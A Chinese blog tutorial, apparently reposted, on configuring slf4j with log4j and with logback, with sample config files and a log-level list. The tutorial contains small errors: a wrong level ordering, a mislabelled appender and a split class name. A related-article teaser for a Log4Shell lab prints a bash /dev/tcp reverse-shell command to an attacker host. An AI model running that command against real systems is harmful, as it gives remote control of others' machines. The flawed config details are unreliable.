slf4j+log4j和slf4j+logback…

2024-06-18 01:08
文章标签 slf4j log4j logback

本文主要是介绍slf4j+log4j和slf4j+logback…,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

原文地址:slf4j+log4j和slf4j+logback(转载) 作者:java_coffee豆
1.slf4j+log4j

使用log4j做为底层日志工具,需要三个架包:
log4j-1.2.xx.jar
slf4j-api-x.x.x.jar
slf4j-log4j12-x.x.x.jar

下载地址:
http://logging.apache.org/log4j/1.2/download.html
http://www.slf4j.org/download.html

在工程的src根目录下创建log4j.properties文件(名字是固定的,这是初始化类文件中固定的名称和路径)

这个是一个资源配置文件,指定固定的key和value进行配置。基本格式如下:
#1.配置根Logger
log4j.rootLogger = [ level ] , appenderName1 , appenderName2 , …
其中这里也可以用rootCategory进行配置,因为Logger是Category的一个子类。

#2.配置日志信息输出目的地Appender
log4j.appender.appenderName = fully.qualified.name.of.appender.class
log4j.appender.appenderName.option1 = value1

Appender 为日志输出目的地,Log4j提供的appender有以下几种:
org.apache.log4j.ConsoleAppender(控制台),
org.apache.log4j.FileAppender(文件),
org.apache.log4j.DailyRollingFileAppender (每天产生一个日志文件),
org.apache.log4j.RollingFileAppender(文件大小到达指定尺寸的时候产生一个新的文件),
org.apache.log4j.WriterAppender(将日志信息以流格式发送到任意指定的地方)
Layout:日志输出格式,Log4j提供的layout有以下几种:
org.apache.log4j.HTMLLayout(以HTML表格形式布局),
org.apache.log4j.PatternLayout(可以灵活地指定布局模式),
org.apache.log4j.SimpleLayout(包含日志信息的级别和信息字符串),
org.apache.log4j.TTCCLayout(包含日志产生的时间、线程、类别等等信息)
其中这里可以用该类的大写首字母来简写使用。

以下是一个完整的log4j.properties
log4j.rootCategory=error, stdout, R
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%d %p : %c(%L) -> %m%n
log4j.appender.R=org.apache.log4j.DailyRollingFileAppender
log4j.appender.R.File=/home/httpd/html/gameStatistics/log/stats.log
log4j.appender.R.layout=org.apache.log4j.PatternLayout
log4j.appender.R.layout.ConversionPattern=%d %p : %c(%L) -> %m%n
log4j.logger.org.apache.commons=error
log4j.logger.com.danga.MemCached.MemCachedClient=ERROR

其中R,代表RollingFileAppender,指定文件大小到达指定尺寸的时候产生一个新的日志文件,R.File配置了文件路径和名称,R.layout使日志以指定布局模式输出,
R.layout.ConversionPattern采用类似C语言中的printf函数的打印格式格式化日志信息;
log4j.logger.com.danga.MemCached.MemCachedClient=ERROR,指单独设置memcached日志级别


2.slf4j+logback(另一个日志机制)
Logback和log4j是非常相似的,Logback的内核重写了,在一些关键执行路径上性能提升10倍以上。而且logback不仅性能提升了,初始化内存加载也更小。

搭建logback需要3个架包:
logback-classic-0.9.21.jar(目前已经有1.0.0)
logback-core-0.9.21.jar(目前已经有1.0.0)
slf4j-api-1.6.x.jar

下载地址:
http://logback.qos.ch/download.html
http://www.slf4j.org/download.html

在工程的src根目录下创建logback.xml文件(名字是固定的)
这里logback有一个专门用来读取logback.xml的机制,logback框架初始化时,会调用类文件来读取logback.xml文件,若是没有找到,则调用默认设备文件,按照默认设备文件进行设备。

以下是一个完整的logback.xml

<?xml version="1.0" encoding="UTF-8"?>

<configuration>
      <!--定义时间戳-->
      <timestamp key="byDay" datePattern="yyyy-MM-dd"/>

      <!--定义指定文件名称的输出-->
      <appender name="RootFileAppender" class="ch.qos.logback.core.FileAppender">
            <!--此处设定的文件名称是动态设置的  即每天生成一个文件用于记录当天的文件信息-->
            <file>/home/httpd/html/gameStatistics/log/stats-${byDay}.log</file>
            <append>true</append>
           
            <layout class="ch.qos.logback.classic.PatternLayout">
                  <pattern>%d{yyyy-MM-dd HH:mm:ss}, %p, %c, %t, %F, %L, %C{1}, %M %m%n</pattern>
            </layout>
           
            <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
                  <level>debug</level>
          </filter>
          <!--过滤器指定该类的日志级别-->
      </appender>
     
      <!--定义控制台输出-->
      <appender name="RootConsoleAppender" class="ch.qos.logback.core.ConsoleAppender">
            <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
                  <level>debug</level>
            </filter>
           
            <layout class="ch.qos.logback.classic.PatternLayout">
                  <pattern>%d{yyyy-MM-dd HH:mm:ss}, %p, %c, %t, %F, %L, %C{1}, %M %m%n</pattern>
          </layout>
      </appender>
     
      <!-- 设置根 的日志级别,根元素是配置文件的入口-->
      <root>
            <level value="error"/>
          <appender-ref ref="RootFileAppender"/> <!-- 配置对RootFileAppender的引用-->
            <appender-ref ref="RootConsoleAppender"/> <!-- 配置对RootConsoleAppender的引用-->
      </root>

</configuration>

其中设置指定的某个类的日志等级
<logger name="com.danga.MemCached.MemCachedClient">
      <level value="error" />
</logger>

除了指定周期分日志文件,logback还可以指定大小分日志文件,这里引用是RollingFileAppender
      <appender name="RootFileAppender" class="ch.qos.logback.core.rolling.RollingFileAppender">
            <file>/home/httpd/html/gameStatistics/log/stats.log</file>
            <append>true</append>
            <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
                  <level>debug</level>
                </filter>
          <rollingPolicy class="ch.qos.logback.core.rolling.FixedWindowRollingPolicy ">
                  <fileNamePattern>/home/httpd/html/gameStatistics/log/stats.log.%i</fileNamePattern>
                  <maxIndex>10</maxIndex>
          </rollingPolicy>
         
            <triggeringPolicy class="ch.qos.logback.core.rolling.SizeBasedTriggeringPolic y">
                  <maxFileSize>10000000</maxFileSize>
            </triggeringPolicy>

            <layout class="ch.qos.logback.classic.PatternLayout">
                  <pattern>%d{yyyy-MM-dd HH:mm:ss}, %p, %c, %t, %F, %L, %C{1}, %M %m%n</pattern>
            </layout>
      </appender>


附:日志级别
DEBUG < INFO < WARN < ERROR < FATAL < ALL < OFF

static Level DEBUG
DEBUG Level指出细粒度信息事件对调试应用程序是非常有帮助的。

static Level INFO
INFO level表明消息在粗粒度级别上突出强调应用程序的运行过程。

static Level WARN
WARN level表明会出现潜在错误的情形。

static Level ERROR
ERROR level指出虽然发生错误事件,但仍然不影响系统的继续运行。

static Level FATAL
FATAL level指出每个严重的错误事件将会导致应用程序的退出。

static Level ALL
ALL Level是最低等级的,用于打开所有日志记录。

static Level OFF
OFF Level是最高等级的,用于关闭所有日志记录。

这篇关于slf4j+log4j和slf4j+logback…的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1070884

相关文章

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

logback配置实例

logger和appender的关系 root是根logger,所以他两是一回事;只不过root中不能有name和additivity属性,是有一个level。 appender是一个日志打印的组件,这里组件里面定义了打印过滤的条件、打印输出方式、滚动策略、编码方式、打印格式等等。但是它仅仅是一个打印组件,如果我们不使用一个logger或者root的appender-ref指定某个具体的app

看完这个不会配置 logback ,请你吃瓜!

之前在 日志?聊一聊slf4j吧 这篇文章中聊了下slf4j。本文也从实际的例子出发,针对logback的日志配置进行学习。 logack 简介 logback 官网:https://logback.qos.ch/ 目前还没有看过日志类框架的源码,仅限于如何使用。所以就不说那些“空话”了。最直观的认知是: logback和log4j是一个人写的springboot默认使用的日志框架是

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

logback小记

1、需要的maven依赖: <dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.2.3</version><!--<scope>test</scope>--></dependency><!-- https://mvnrepository.com/artifa

打通实时流处理log4j-flume-kafka-structured-streaming

大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 模拟产生log4j日志 jar包依赖 pom.xml 12345678910111213<dependency><groupId>log4j</groupId><artifactId>log4j</artifactId></dependency><depe

Spark Streaming整合log4j、Flume与Kafka的案例

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 来源:作者TAI_SPARK,http://suo.im/5w7LF8 大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 1.框架 2.log4j完成模拟日志输出 设置模拟日志格式,log4j.properties: log4j.rootLogger = INFO,stdo

日志框架log4j打印异常堆栈信息携带traceId,方便接口异常排查

一、异常堆栈无traceId 排查定位问题异常痛苦        在日常项目开发中,我们会自定义一个traceId方便,链路追踪。在log4j2.xml 我们可能是这样去配置日志打印格式。 <Console name="CONSOLE" target="SYSTEM_OUT"><PatternLayoutpattern="${APP_NAME} %-d{yyyy-MM-dd HH:mm:ss}

log4j 打印sql,按日期生成文件,生成文件位置

1、 log4j 打印sql 要把日志等级调成debug才会显示sql log4j.rootLogger=info,Console      Console   log4j.appender.Console=org.apache.log4j.ConsoleAppender   log4j.appender.Console.layout=org.apache.log4j.Patte

log4j:WARN No appenders could be found for logger解决方法

问题: log4j:WARN No appenders could be found for logger(org.springframework.web.context.ContextLoader). log4j:WARN Please initialize the log4j system properly.     未找到log4j,未初始化log4j。 解决方法: <!-- 以下